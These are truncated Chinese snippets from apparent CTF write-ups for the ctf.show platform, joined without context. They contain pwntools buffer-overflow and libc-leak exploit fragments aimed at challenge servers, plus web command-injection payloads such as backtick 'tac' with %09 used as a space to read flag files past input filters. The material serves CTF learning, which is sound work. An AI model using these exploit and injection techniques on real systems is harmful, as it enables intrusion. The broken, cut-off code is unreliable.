p = remote("pwn.challenge.ctf.show",28040)//建立一个远程连接需要相应URL/IP和port当然这就是在前面创建的容器(服务器)信息,将remote对象保存至变量p中 payload = b'a'*13//数据打包,由于前文提到的在s处填入9+4个字节 payload += p32(0x804850F)//同上,p32()将整数值转为32位打包 p.send(payl...
前置基础 pwn19 fork()函数创建了一个子进程。如果当前代码处于父进程(fork() 返回 1)则进入 if 语句块。如果是子进程(fork() 返回 0),则进入 else 语句块。在子进程中给予了用户一个 shell 权限,允许用户在子进程中输入数据并通过 system 运行。 值得注意
frompwnimport* context(arch="amd64",os="linux") context.log_level="debug" # p = process("./BadBoy-2") p=remote("pwn.challenge.ctf.show",28217) elf=ELF("./BadBoy-2") libc=elf.libc p.sendlineafter(b"i am bad boy n",b"40") buf_addr=u64(p.recv(6).ljust(0x8,b"x00"))-...
c=echo`tac*`;(反引号的url为:%22,空格为%20)tac命令用于将文件已行为单位的反序输出,即第一行最后显示,最后一行先显示。(这个可以直接得到flag) f12得到flag web31 过滤了flag system php cat sort shell . space ’ 可以用%09(为tab符)这个来代替空格! url/?c=echo%09`tac%09*`; 某些具有特殊意义...
WEB入门 看到一些有意思的题就做一做,主要是太菜了想提高自己(orz) web55 题目给出了源码: <?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\